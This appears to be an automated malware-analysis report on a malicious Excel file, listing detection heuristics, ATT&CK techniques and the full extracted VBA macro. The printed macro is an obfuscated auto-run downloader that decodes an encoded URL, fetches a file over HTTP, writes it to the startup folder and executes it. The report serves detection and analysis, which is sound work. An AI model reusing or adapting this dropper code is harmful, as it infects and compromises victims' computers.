MALICIOUS
348
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate or Obfuscate Malicious Code
This Excel document contains VBA macros that utilize WScript.Shell and CreateObject, indicating an attempt to download and execute a second-stage payload. The Workbook_Open macro is automatically executed upon opening the file, and the document body explicitly prompts the user to 'Enable content' to view the document, a common social engineering tactic. The VBA code appears to be obfuscated, but the presence of WScript.Shell and CreateObject strongly suggests malicious intent.
Heuristics 9
-
ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§° = CreateObject("WScript.Shell").Specialfolders(7) + ·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º = ¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set ·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª = CreateObject("Shell.Application") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_open() -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10069 bytes |
SHA-256: 5ca0246dfd9ca1ca3e8a31efd970b299f32bac4a8e02e7a0f18c8561c0fcf099 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub abitcold()
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Function £»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡(´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·)
§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
º»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
For i = 1 To Len(´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·)
¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡ = InStr(§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µ, Mid(´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·, i, 1))
If ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡ > 0 Then
½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡ = Mid(º»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ, ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡, 1)
¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯° = ¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯° + ½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡
Else
¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯° = ¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯° + Mid(´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·, i, 1)
End If
Next
£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡ = ¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°
End Function
Private Sub Workbook_open()
Set ·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª = CreateObject("Shell.Application")
Set ¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶ = CreateObject("microsoft.xmlhttp")
Set µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯ = CreateObject("adodb.stream")
·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ = £»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡("\ãZã§¥¥HJK.ÂÛÂ")
³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡ = £»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡("hÖÖÓ://ÙÅÄÖÂdÖÔÀÅÕlÀÖÄÒÅÕ.ÁÒm.ÀÙ/zÅ/GAMMA.ÂÛÂ")
¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§° = CreateObject("WScript.Shell").Specialfolders(7) + ·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ
¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.Open "GET", ³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡, False
¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.send
¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º = ¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.responseBody
If ¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶.Status = 200 Then
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.Open
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.Type = 1
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.Write ¼£«¢°²£¼¢¯·µ£º´¢·½³³¥®³¯§²ª°¨¥º³²¢¹·ª³®ª¬¦¤µ®¬§¡¤½¨´¿¤¨®µº»º¼´¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.SaveToFile ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°, 2
µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°§¨¬¡£»²¸»¹¿¥¥¸¹¾£®´½²¶¯©¿´°°¡³¦ª¦¼£«¢°²£¼¢¯.Close
End If
·©¡¥¯¶·«¶¸¯¨µ¼µ¤½¥¦»°º³µ«µ»¸¬¯¡¼¤¨«¤¶¿£ª¥¹¶§¦½¦£³¤¾«ª«¨¶¹½°¹¸®«©¯°¹µ¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª.Open (¥¿®¢¿¬¥§¾©¶·¨¤´ª²ª´¾¢¾ª®£¬²©£²¡¶¯¦¢¡µ¬¿³´¨¤·¼¶¦©©ª§¿¬§³¬®¤©¨®²«·¶¥¬°¦«£´§§¯¯²·¾¡»¡½§°)
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.